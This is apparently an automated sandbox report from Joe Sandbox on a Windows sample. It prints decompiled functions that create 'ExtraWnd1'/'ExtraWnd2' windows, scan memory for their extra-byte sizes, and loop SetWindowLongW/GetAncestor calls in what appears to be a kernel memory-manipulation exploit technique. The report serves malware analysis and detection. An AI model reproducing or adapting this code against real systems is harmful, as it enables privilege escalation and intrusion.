					_v8 =  *((intOrPtr*)(_t98 + _t28 + 4));
					_t99 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t99 -  *0x95801c,  *0x957ffc + _t148);
					_t36 = GetAncestor( *0x958010, 1);
					_t101 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t101 -  *0x95801c,  *(_t98 + _t28));
					_t42 =  *0x957ffc;
					_t140 = _t36 - _t42;
					_t103 =  *0x958014;
					_v8 = _t140;
					_t43 =  *0x957ff4; // 0x0
					_v16 =  *((intOrPtr*)(_t103 + _t43 + 4));
					_t104 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t104 -  *0x95801c, _t42 - 4 + _t140);
					_t51 = GetAncestor( *0x958010, 1);
					_t129 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t129 -  *0x95801c,  *(_t103 + _t43));
					_t148 = _v8;
				} while (_t51 != _t94);
				_t95 = _t148;
				_v8 =  *0x958000 + _t95;
				E0093BEE0( *0x958000 + _t95);
				do {
					_t110 =  *0x958014;
					_t57 =  *0x957ff4; // 0x0
					_v16 =  *((intOrPtr*)(_t110 + _t57 + 4));
					_t111 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t111 -  *0x95801c,  *0x957ffc + _t95);
					_t65 = GetAncestor( *0x958010, 1);
					_t113 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t113 -  *0x95801c,  *(_t110 + _t57));
					_t71 =  *0x957ffc;
					_t95 = _t65 - _t71;
					_t115 =  *0x958014;
					_t72 =  *0x957ff4; // 0x0
					_v16 =  *((intOrPtr*)(_t115 + _t72 + 4));
					_t116 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t116 -  *0x95801c, _t71 - 4 + _t95);
					_t80 = GetAncestor( *0x958010, 1);
					_t135 =  *0x957ff4; // 0x0
					SetWindowLongW( *0x958004,  *0x958018 + _t135 -  *0x95801c,  *(_t115 + _t72));
				} while (_t80 != 4);
				_t155 = E0093BEE0( *0x958000 + _t95);
				E0093C4E0((_t84 & 0xfffffff0) - 0x18, E0093BEE0((_t84 & 0xfffffff8) - 0x18) + 2);
				E0093C4E0(_v8, _t155);
				return 1;
			}

0x0093b6fd
0x0093b711
0x0093b713
0x0093b71a
0x0093b726
0x0093b71c
0x0093b722
0x0093b722
0x0093b72c
0x0093b732
0x0093b747
0x0093b74f
0x0093b765
0x0093b76f
0x0093b77c
0x0093b799
0x0093b79b
0x0093b7a0
0x0093b7a2
0x0093b7a8
0x0093b7ae
0x0093b7bd
0x0093b7c5
0x0093b7db
0x0093b7e5
0x0093b7f3
0x0093b812
0x0093b816
0x0093b816
0x0093b824
0x0093b829
0x0093b82c
0x0093b834
0x0093b834
0x0093b83a
0x0093b84f
0x0093b857
0x0093b86d
0x0093b877
0x0093b884
0x0093b89b
0x0093b89d
0x0093b8a2
0x0093b8a4
0x0093b8b3
0x0093b8c2
0x0093b8ca
0x0093b8e0
0x0093b8ea
0x0093b8f8
0x0093b917
0x0093b919
0x0093b92f
0x0093b94c
0x0093b955
0x0093b968

APIs

Part of subcall function 0093BEE0: SetWindowLongW.USER32 ref: 0093BF1B
Part of subcall function 0093BEE0: GetAncestor.USER32(?,00000001), ref: 0093BF29
Part of subcall function 0093BEE0: SetWindowLongW.USER32 ref: 0093BF50

GetCurrentProcessId.KERNEL32 ref: 0093B71C
SetWindowLongW.USER32 ref: 0093B765
GetAncestor.USER32(?,00000001), ref: 0093B76F
SetWindowLongW.USER32 ref: 0093B799
SetWindowLongW.USER32 ref: 0093B7DB
GetAncestor.USER32(?,00000001), ref: 0093B7E5
SetWindowLongW.USER32 ref: 0093B812
SetWindowLongW.USER32 ref: 0093B86D
GetAncestor.USER32(?,00000001), ref: 0093B877
SetWindowLongW.USER32 ref: 0093B89B
SetWindowLongW.USER32 ref: 0093B8E0
GetAncestor.USER32(?,00000001), ref: 0093B8EA
SetWindowLongW.USER32 ref: 0093B917

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: LongWindow$Ancestor$CurrentProcess
String ID:
API String ID: 754403503-0
Opcode ID: 20ebee1d28cef62d8244d17bf9623b6dedf05b399ca089ca2ffd376ea5937971
Instruction ID: ef995036673ec7928dc92e282481ef7cf73ee2a54ec426cb00cc02a21f77f741
Opcode Fuzzy Hash: 20ebee1d28cef62d8244d17bf9623b6dedf05b399ca089ca2ffd376ea5937971
Instruction Fuzzy Hash: FC717175A282009FC754DBBEED85EA773E9E78D316B044458E905E33A1DE30AD05EF60

Uniqueness

Uniqueness Score: -1.00%

Function 0093BD80 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0093BD80() {
				signed int _v8;
				struct _WNDCLASSEXW _v56;
				intOrPtr* _t31;
				struct HWND__* _t41;
				signed int _t45;
				unsigned int _t46;
				unsigned int _t47;
				struct HWND__* _t51;
				void* _t58;
				void* _t61;

				asm("xorps xmm0, xmm0");
				_v56.lpfnWndProc = DefWindowProcW;
				_v56.hInstance =  *0x958030;
				_v8 = 0;
				_v56.cbSize = 0x30;
				_v56.style = 0;
				_v56.cbClsExtra = 0;
				_v56.cbWndExtra = 0x118;
				asm("movdqu [ebp-0x1c], xmm0");
				_v56.lpszClassName = L"ExtraWnd1";
				_v56.hIconSm = 0;
				if(RegisterClassExW( &_v56) != 0) {
					_t41 = CreateWindowExW(0, L"ExtraWnd1", 0, 0, 0, 0, 0, 0, 0, 0,  *0x958030, 0);
					if(_t41 == 0) {
						L15:
						return 0;
					} else {
						_v56.lpszClassName = L"ExtraWnd2";
						_v56.cbWndExtra = 0x130;
						if(RegisterClassExW( &_v56) == 0) {
							goto L15;
						} else {
							_t51 = CreateWindowExW(0, L"ExtraWnd2", 0, 0, 0, 0, 0, 0, 0, 0,  *0x958030, 0);
							if(_t51 == 0) {
								goto L15;
							} else {
								_t58 = E0093C750(_t41);
								_t31 = E0093C750(_t51);
								if(_t58 == 0 || _t31 == 0) {
									goto L15;
								} else {
									_t46 =  *0x957fe8; // 0x0
									_t45 = 0;
									_t47 = _t46 >> 2;
									if(_t47 == 0) {
										L14:
										DestroyWindow(_t41);
										DestroyWindow(_t51);
										return _v8;
									} else {
										_t61 = _t58 - _t31;
										while( *((intOrPtr*)(_t61 + _t31)) != 0x118 ||  *_t31 != 0x130) {
											_t45 = _t45 + 1;
											_t31 = _t31 + 4;
											if(_t45 < _t47) {
												continue;
											} else {
												DestroyWindow(_t41);
												DestroyWindow(_t51);
												return _v8;
											}
											goto L16;
										}
										_v8 = _t45 * 4;
										goto L14;
									}
								}
							}
						}
					}
				} else {
					return 0;
				}
				L16:
			}

0x0093bd8b
0x0093bd8e
0x0093bd9d
0x0093bda4
0x0093bdab
0x0093bdb2
0x0093bdb9
0x0093bdc0
0x0093bdc7
0x0093bdcc
0x0093bdd3
0x0093bddf
0x0093be11
0x0093be15
0x0093bed5
0x0093bedd
0x0093be1b
0x0093be1e
0x0093be26
0x0093be32
0x00000000
0x0093be38
0x0093be59
0x0093be5d
0x00000000
0x0093be5f
0x0093be66
0x0093be68
0x0093be6f
0x00000000
0x0093be75
0x0093be75
0x0093be7b
0x0093be7d
0x0093be82
0x0093bebf
0x0093bec6
0x0093bec9
0x0093bed4
0x0093be84
0x0093be84
0x0093be86
0x0093be97
0x0093be98
0x0093be9d
0x00000000
0x0093be9f
0x0093bea6
0x0093bea9
0x0093beb4
0x0093beb4
0x00000000
0x0093be9d
0x0093bebc
0x00000000
0x0093bebc
0x0093be82
0x0093be6f
0x0093be5d
0x0093be32
0x0093bde1
0x0093bde7
0x0093bde7
0x00000000

APIs

RegisterClassExW.USER32 ref: 0093BDDA
CreateWindowExW.USER32 ref: 0093BE0F
RegisterClassExW.USER32 ref: 0093BE2D
CreateWindowExW.USER32 ref: 0093BE57
DestroyWindow.USER32(00000000,00000000,00000000), ref: 0093BEA6
DestroyWindow.USER32(00000000), ref: 0093BEA9

Strings

ExtraWnd1, xrefs: 0093BDCC, 0093BE08
ExtraWnd2, xrefs: 0093BE1E, 0093BE50
0, xrefs: 0093BDAB

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$ClassCreateDestroyRegister
String ID: 0$ExtraWnd1$ExtraWnd2
API String ID: 2025118016-772980788
Opcode ID: bcc084f4644a98e8cf3b9ed215503aa7eb94929ae760d172799ea1ba6312b65f
Instruction ID: 05560538a86370c105c4aaeda65b09165c0de2fb7ffea9536ac3633ccacbc72c
Opcode Fuzzy Hash: bcc084f4644a98e8cf3b9ed215503aa7eb94929ae760d172799ea1ba6312b65f
Instruction Fuzzy Hash: 99316372E152189BDB20DBA9EC41BEEB7FCEB45354F14415AEA04B7290DBB55D008FD0

Uniqueness

Uniqueness Score: -1.00%

Function 0093CD40 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0093CD40() {
				signed int _v8;
				struct _WNDCLASSEXW _v56;
				intOrPtr* _t31;
				struct HWND__* _t41;
				signed int _t45;
				unsigned int _t47;
				struct HWND__* _t51;
				void* _t58;
				void* _t61;

				asm("xorps xmm0, xmm0");
				_v56.lpfnWndProc = DefWindowProcW;
				_v56.hInstance =  *0x9580b8;
				_v8 = 0;
				_v56.cbSize = 0x30;
				_v56.style = 0;
				_v56.cbClsExtra = 0;
				_v56.cbWndExtra = 0x118;
				asm("movdqu [ebp-0x1c], xmm0");
				_v56.lpszClassName = L"ExtraWnd1";
				_v56.hIconSm = 0;
				if(RegisterClassExW( &_v56) != 0) {
					_t41 = CreateWindowExW(0, L"ExtraWnd1", 0, 0, 0, 0, 0, 0, 0, 0,  *0x9580b8, 0);
					if(_t41 == 0) {
						L15:
						return 0;
					} else {
						_v56.lpszClassName = L"ExtraWnd2";
						_v56.cbWndExtra = 0x130;
						if(RegisterClassExW( &_v56) == 0) {
							goto L15;
						} else {
							_t51 = CreateWindowExW(0, L"ExtraWnd2", 0, 0, 0, 0, 0, 0, 0, 0,  *0x9580b8, 0);
							if(_t51 == 0) {
								goto L15;
							} else {
								_t58 = E0093C750(_t41);
								_t31 = E0093C750(_t51);
								if(_t58 == 0 || _t31 == 0) {
									goto L15;
								} else {
									_t45 = 0;
									_t47 =  *0x958060 >> 2;
									if(_t47 == 0) {
										L14:
										DestroyWindow(_t41);
										DestroyWindow(_t51);
										return _v8;
									} else {
										_t61 = _t58 - _t31;
										while( *((intOrPtr*)(_t61 + _t31)) != 0x118 ||  *_t31 != 0x130) {
											_t45 = _t45 + 1;
											_t31 = _t31 + 4;
											if(_t45 < _t47) {
												continue;
											} else {
												DestroyWindow(_t41);
												DestroyWindow(_t51);
												return _v8;
											}
											goto L16;
										}
										_v8 = _t45 * 4;
										goto L14;
									}
								}
							}
						}
					}
				} else {
					return 0;
				}
				L16:
			}

0x0093cd4b
0x0093cd4e
0x0093cd5d
0x0093cd64
0x0093cd6b
0x0093cd72
0x0093cd79
0x0093cd80
0x0093cd87
0x0093cd8c
0x0093cd93
0x0093cd9f
0x0093cdd1
0x0093cdd5
0x0093ce95
0x0093ce9d
0x0093cddb
0x0093cdde
0x0093cde6
0x0093cdf2
0x00000000
0x0093cdf8
0x0093ce19
0x0093ce1d
0x00000000
0x0093ce1f
0x0093ce26
0x0093ce28
0x0093ce2f
0x00000000
0x0093ce35
0x0093ce3b
0x0093ce3d
0x0093ce42
0x0093ce7f
0x0093ce86
0x0093ce89
0x0093ce94
0x0093ce44
0x0093ce44
0x0093ce46
0x0093ce57
0x0093ce58
0x0093ce5d
0x00000000
0x0093ce5f
0x0093ce66
0x0093ce69
0x0093ce74
0x0093ce74
0x00000000
0x0093ce5d
0x0093ce7c
0x00000000
0x0093ce7c
0x0093ce42
0x0093ce2f
0x0093ce1d
0x0093cdf2
0x0093cda1
0x0093cda7
0x0093cda7
0x00000000

APIs

RegisterClassExW.USER32 ref: 0093CD9A
CreateWindowExW.USER32 ref: 0093CDCF
RegisterClassExW.USER32 ref: 0093CDED
CreateWindowExW.USER32 ref: 0093CE17
DestroyWindow.USER32(00000000,00000000,00000000), ref: 0093CE66
DestroyWindow.USER32(00000000), ref: 0093CE69

Strings

ExtraWnd1, xrefs: 0093CD8C, 0093CDC8
0, xrefs: 0093CD6B
ExtraWnd2, xrefs: 0093CDDE, 0093CE10

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Window$ClassCreateDestroyRegister
String ID: 0$ExtraWnd1$ExtraWnd2
API String ID: 2025118016-772980788
Opcode ID: 2a73e35107815a72e2fd35afdf9ca328056982e61c88115415770b4fa52be12a
Instruction ID: 6bee7bf77c8b7ca93ddf1e8690072d486f122e93364e6050cbb886074a357812
Opcode Fuzzy Hash: 2a73e35107815a72e2fd35afdf9ca328056982e61c88115415770b4fa52be12a
Instruction Fuzzy Hash: 6C31A3B2E152189BDB20DBA9DC41BDEB7FDEB85350F140156E904B7290DBB59D048F90

Uniqueness

Uniqueness Score: -1.00%

Function 0093B970 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
windowsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0093B970(void* __ebx, void* __edi) {
				struct tagMSG _v32;
				intOrPtr _t6;
				intOrPtr _t8;
				int _t22;

				_t6 =  *0x9441a8; // 0x258
				_t8 =  *0x9441a4; // 0x320
				 *0x958048 = CreateWindowExW(0x80000, L"MyMainWnd", 0, 0x10000000, _t8 + 1, _t6 + 1, 1, 1, 0, 0,  *0x958030, 0);
				if( *0x958048 == 0) {
					return 0;
				} else {
					E0093BFE0( *0x958048);
					Sleep(0x32);
					 *0x958044 = 1;
					if(GetMessageW( &_v32, 0, 0, 0) == 0) {
						return 0;
					} else {
						do {
							TranslateMessage( &_v32);
							DispatchMessageW( &_v32);
							_t22 = GetMessageW( &_v32, 0, 0, 0);
						} while (_t22 != 0);
						return _t22;
					}
				}
			}

0x0093b97e
0x0093b98d
0x0093b9ab
0x0093b9b7
0x0093ba2f
0x0093b9b9
0x0093b9c0
0x0093b9ca
0x0093b9e0
0x0093b9ee
0x0093ba29
0x0093b9f0
0x0093ba00
0x0093ba04
0x0093ba0a
0x0093ba16
0x0093ba18
0x0093ba22
0x0093ba22
0x0093b9ee

APIs

CreateWindowExW.USER32 ref: 0093B9A5

Part of subcall function 0093BFE0: GetForegroundWindow.USER32(?,?), ref: 0093BFE7
Part of subcall function 0093BFE0: SystemParametersInfoW.USER32 ref: 0093C015
Part of subcall function 0093BFE0: SystemParametersInfoW.USER32 ref: 0093C03C
Part of subcall function 0093BFE0: SendMessageW.USER32(?,00000112,0000F020,00000000), ref: 0093C051
Part of subcall function 0093BFE0: SendMessageW.USER32(?,00000112,0000F120,00000000), ref: 0093C060
Part of subcall function 0093BFE0: SystemParametersInfoW.USER32 ref: 0093C07A

Sleep.KERNEL32(00000032), ref: 0093B9CA
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0093B9EA
TranslateMessage.USER32(?), ref: 0093BA04
DispatchMessageW.USER32 ref: 0093BA0A
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0093BA16

Strings

MyMainWnd, xrefs: 0093B99B

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Message$InfoParametersSystem$SendWindow$CreateDispatchForegroundSleepTranslate
String ID: MyMainWnd
API String ID: 2892696922-188152914
Opcode ID: 646eb310dc51def7ee17f06e293be8ff4104fe67d58e957d009ba18865fd3cd0
Instruction ID: 66df6ce6e9641ddf6cec73e00ecdfed728b720bb9cec1f072f7d8833d8255cfb
Opcode Fuzzy Hash: 646eb310dc51def7ee17f06e293be8ff4104fe67d58e957d009ba18865fd3cd0
Instruction Fuzzy Hash: 9C118272AA93086FE620DBA8EC46FE773ECE708715F100011FA08F71D0DAB4A8459F65

Uniqueness

Uniqueness Score: -1.00%

Function 0093C970 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75
windowsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0093C970(void* __ebx, void* __edi) {
				struct tagMSG _v32;
				intOrPtr _t6;
				intOrPtr _t8;
				int _t22;

				_t6 =  *0x94424c; // 0x1388
				_t8 =  *0x944248; // 0x1388
				 *0x9580d4 = CreateWindowExW(0x80000, L"MyMainWnd", 0, 0x10000000, _t8 + 1, _t6 + 1, 1, 1, 0, 0,  *0x9580b8, 0);
				if( *0x9580d4 == 0) {
					return 0;
				} else {
					E0093D050( *0x9580d4);
					Sleep(0x32);
					 *0x9580d0 = 1;
					if(GetMessageW( &_v32, 0, 0, 0) == 0) {
						return 0;
					} else {
						do {
							TranslateMessage( &_v32);
							DispatchMessageW( &_v32);
							_t22 = GetMessageW( &_v32, 0, 0, 0);
						} while (_t22 != 0);
						return _t22;
					}
				}
			}

0x0093c97e
0x0093c98d
0x0093c9ab
0x0093c9b7
0x0093ca2f
0x0093c9b9
0x0093c9c0
0x0093c9ca
0x0093c9e0
0x0093c9ee
0x0093ca29
0x0093c9f0
0x0093ca00
0x0093ca04
0x0093ca0a
0x0093ca16
0x0093ca18
0x0093ca22
0x0093ca22
0x0093c9ee

APIs

CreateWindowExW.USER32 ref: 0093C9A5

Part of subcall function 0093D050: GetForegroundWindow.USER32(?,?), ref: 0093D057
Part of subcall function 0093D050: SystemParametersInfoW.USER32 ref: 0093D085
Part of subcall function 0093D050: SystemParametersInfoW.USER32 ref: 0093D0AC
Part of subcall function 0093D050: SendMessageW.USER32(?,00000112,0000F020,00000000), ref: 0093D0C1
Part of subcall function 0093D050: SendMessageW.USER32(?,00000112,0000F120,00000000), ref: 0093D0D0
Part of subcall function 0093D050: SetFocus.USER32(?), ref: 0093D0D3
Part of subcall function 0093D050: SetForegroundWindow.USER32(?), ref: 0093D0DA
Part of subcall function 0093D050: SystemParametersInfoW.USER32 ref: 0093D0F8

Sleep.KERNEL32(00000032), ref: 0093C9CA
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0093C9EA
TranslateMessage.USER32(?), ref: 0093CA04
DispatchMessageW.USER32 ref: 0093CA0A
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0093CA16

Strings

MyMainWnd, xrefs: 0093C99B

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Message$InfoParametersSystemWindow$ForegroundSend$CreateDispatchFocusSleepTranslate
String ID: MyMainWnd
API String ID: 64861553-188152914
Opcode ID: c917d349bf19102fa93c6143a2fb05f914377cfe425bbc862eb88ec7669af595
Instruction ID: eba4278d4eab97227c9ed4909712f53ec2081aa689b9b82b90f4ae4896b2542c
Opcode Fuzzy Hash: c917d349bf19102fa93c6143a2fb05f914377cfe425bbc862eb88ec7669af595
Instruction Fuzzy Hash: 99118672A693086BE660DBA9EC46FD773ACE704715F100111FA08F71D0D6B4A8059FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0093132F Relevance: 12.1, APIs: 8, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E0093132F(void* __edi) {
				signed int _v8;
				short _v1032;
				short _v2056;
				signed int _v2060;
				void* __ebx;
				void* __esi;
				signed int _t11;
				void* _t22;
				void* _t25;
				void* _t35;
				void* _t36;
				long _t38;
				signed int _t39;

				_t36 = __edi;
				_t11 =  *0x943050; // 0xce43520a
				_v8 = _t11 ^ _t39;
				GetModuleFileNameW(0,  &_v2056, 0x100);
				_v2060 = _v2060 & 0x00000000;
				_t38 = GetModuleFileNameW(0,  &_v1032, 0x100);
				if(_t38 == 0 || GetLastError() == 0x7a || CharUpperBuffW( &_v1032, _t38) != _t38) {
					L8:
					goto L9;
				} else {
					_t22 = E009312D8( &_v1032);
					asm("sbb eax, eax");
					if(0 != _t22) {
						goto L8;
					}
					_t25 = GetCurrentProcess();
					__imp__IsWow64Process(_t25,  &_v2060);
					if(_t25 == 0 || _v2060 == 0) {
						E0093BA30(0x100, _t35, GetCurrentProcessId());
					} else {
						E0093CA30(0x100, _t35, GetCurrentProcessId());
					}
					L9:
					return E0093161C(0x100, _v8 ^ _t39, _t35, _t36, _t38);
				}
			}

0x0093132f
0x00931338
0x0093133f
0x00931359
0x0093135b
0x0093136e
0x00931372
0x009313e3
0x00000000
0x00931391
0x00931397
0x009313a0
0x009313a4
0x00000000
0x00000000
0x009313ad
0x009313b4
0x009313bc
0x009313dc
0x009313c7
0x009313ce
0x009313ce
0x009313e5
0x009313f4
0x009313f4

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000100), ref: 00931359
GetModuleFileNameW.KERNEL32(00000000,?,00000100), ref: 0093136C
GetLastError.KERNEL32 ref: 00931374
CharUpperBuffW.USER32(?,00000000), ref: 00931387
GetCurrentProcess.KERNEL32(00000000), ref: 009313AD
IsWow64Process.KERNEL32(00000000), ref: 009313B4
GetCurrentProcessId.KERNEL32 ref: 009313C7

Part of subcall function 0093CA30: Sleep.KERNEL32(000000C8,?,00000000), ref: 0093CA5A
Part of subcall function 0093CA30: GetModuleHandleA.KERNEL32(00000000,?,00000000), ref: 0093CA64
Part of subcall function 0093CA30: LoadLibraryA.KERNEL32(USER32.dll,?,00000000), ref: 0093CA70

GetCurrentProcessId.KERNEL32 ref: 009313D5

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271007675.0000000000943000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271021541.0000000000957000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271024856.0000000000959000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.271028191.000000000095A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_930000_vy3mvlAaCZ.jbxd

Yara matches

Similarity

API ID: Process$CurrentModule$FileName$BuffCharErrorHandleLastLibraryLoadSleepUpperWow64
String ID:
API String ID: 3568178790-0
Opcode ID: 35be446d29427ffb4b644bb8314b622d14e84c64365d2a962451b0f590f19da1
Instruction ID: b4a17da2929a5f37249162b82927c3f80656d4a4a4fc8ba2e8f3837ac273b2c6
Opcode Fuzzy Hash: 35be446d29427ffb4b644bb8314b622d14e84c64365d2a962451b0f590f19da1
Instruction Fuzzy Hash: 3C119876918218DBDB64ABB0DD89BBE73BCFF04301F100495E685E20A0DF749D449FA1

Uniqueness

Uniqueness Score: -1.00%

Function 0093D050 Relevance: 12.1, APIs: 8, Instructions: 65
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0093D050(struct HWND__* _a4) {
				int _v8;
				void _v12;
				struct HWND__* _t12;
				int _t18;
				int _t20;
				int _t24;
				struct HWND__* _t26;

				_t12 = GetForegroundWindow();
				_t26 = _a4;
				if(_t12 == _t26) {
					return _t12;
				}
				_t24 = 0;
				_v12 = 8;
				_v8 = 0;
				if(SystemParametersInfoW(0x48, 8,  &_v12, 0) != 0) {
					_t20 = _v8;
					if(_t20 != 0) {
						_t24 = _t20;
						_v12 = 8;
						_v8 = 0;
						SystemParametersInfoW(0x49, 8,  &_v12, 0);
					}
				}
				SendMessageW(_t26, 0x112, 0xf020, 0);
				SendMessageW(_t26, 0x112, 0xf120, 0);
				SetFocus(_t26);
				_t18 = SetForegroundWindow(_t26);
				if(_t24 != 0) {
					_v12 = 8;
					_v8 = _t24;
					_t18 = SystemParametersInfoW(0x49, 8,  &_v12, 0);
				}
				return _t18;
			}

0x0093d057
0x0093d05d
0x0093d062
0x0093d104
0x0093d104
0x0093d073
0x0093d075
0x0093d082
0x0093d089
0x0093d08b
0x0093d090
0x0093d094
0x0093d096
0x0093d0a0
0x0093d0ac
0x0093d0ac
0x0093d090
0x0093d0c1
0x0093d0d0
0x0093d0d3
0x0093d0da
0x0093d0e2
0x0093d0e9
0x0093d0f5
0x0093d0f8
0x0093d0f8
0x00000000

APIs

GetForegroundWindow.USER32(?,?), ref: 0093D057
SystemParametersInfoW.USER32 ref: 0093D085
SystemParametersInfoW.USER32 ref: 0093D0AC
SendMessageW.USER32(?,00000112,0000F020,00000000), ref: 0093D0C1
SendMessageW.USER32(?,00000112,0000F120,00000000), ref: 0093D0D0
SetFocus.USER32(?), ref: 0093D0D3
SetForegroundWindow.USER32(?), ref: 0093D0DA
SystemParametersInfoW.USER32 ref: 0093D0F8

Memory Dump Source

Source File: 00000000.00000002.270957240.0000000000931000.00000020.00000001.01000000.00000003.sdmp, Offset: 00930000, based on PE: true

Associated: 00000000.00000002.270954040.0000000000930000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.270971167.000000000093E000.00000002.00000001.01000000.00000003.sdmpDownload File
